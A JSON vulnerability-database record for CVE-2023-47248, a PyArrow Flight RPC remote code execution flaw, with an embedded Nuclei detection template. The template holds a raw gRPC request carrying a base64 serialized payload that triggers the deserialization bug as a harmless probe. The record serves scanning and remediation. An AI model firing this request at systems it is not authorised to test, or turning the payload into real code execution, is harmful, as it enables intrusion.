{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-47248/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-47248/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-47248/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-47248/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-47248/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-47248"},"sightings":{"href":"/api/v1/sightings/cve-2023-47248"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-47248.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-47248\n\ninfo:\n  name: PyArrow Flight RPC - Remote Code Execution\n  author: smolse\n  severity: critical\n  description: |\n    PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.\n  impact: |\n    Unauthenticated attackers can exploit deserialization vulnerabilities through maliciously crafted Python-defined extension types in Flight RPC to execute arbitrary code and completely compromise PyArrow installations.\n  remediation: |\n    Upgrade to PyArrow v14.0.1 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-47248\n    - https://www.cve.org/CVERecord?id=CVE-2023-47248\n    - https://github.com/apache/arrow/commit/f14170976372436ec1d03a724d8d3f3925484ecf\n    - https://github.com/smolse/poc-or-gtfo/tree/main/CVE-2023-47248\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-47248\n    cwe-id: CWE-502\n    epss-score: 0.14528\n    epss-percentile: 0.96513\n    cpe: cpe:2.3:a:apache:pyarrow:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: pyarrow\n  tags: cve,cve2023,rce,arrow,pyarrow,apache,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /arrow.flight.protocol.FlightService/DoPut HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/grpc\n        Te: trailers\n        Grpc-Accept-Encoding: identity, gzip, deflate\n\n        {{base64_decode(\"AAAAAS0KBAgBGgASpAIQAAAAAAAKAAwABgAFAAgACgAAAAABBAAMAAAACAAIAAAABAAIAAAABAAAAAEAAAAYAAAAAAASABgACAAGAAcADAAAABAAFAASAAAAAAABDxQAAADMAAAACAAAABAAAAAAAAAAAAAAAAAAAAACAAAAVAAAAAQAAAC8////CAAAACAAAAAUAAAAQVJST1c6ZXh0ZW5zaW9uOm5hbWUAAAAAFwAAAGFycm93LnB5X2V4dGVuc2lvbl90eXBlAAgADAAEAAgACAAAAAgAAAAkAAAAGAAAAEFSUk9XOmV4dGVuc2lvbjptZXRhZGF0YQAAAAAmAAAAgASVGwAAAAAAAACMCGJ1aWx0aW5zlIwHY29tcGxleJSTlClSlC4AAAQABAAEAAAA\")}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"'complex' object has no attribute 'storage_type'\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502202435d540d311c002134369db0a2473d35c18199f129fe30e126610019cc2bc76022100b2d607525dfdb1657df2c4ad734334e0344b573682086f0a40dab47ee196ac0e:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-47248"}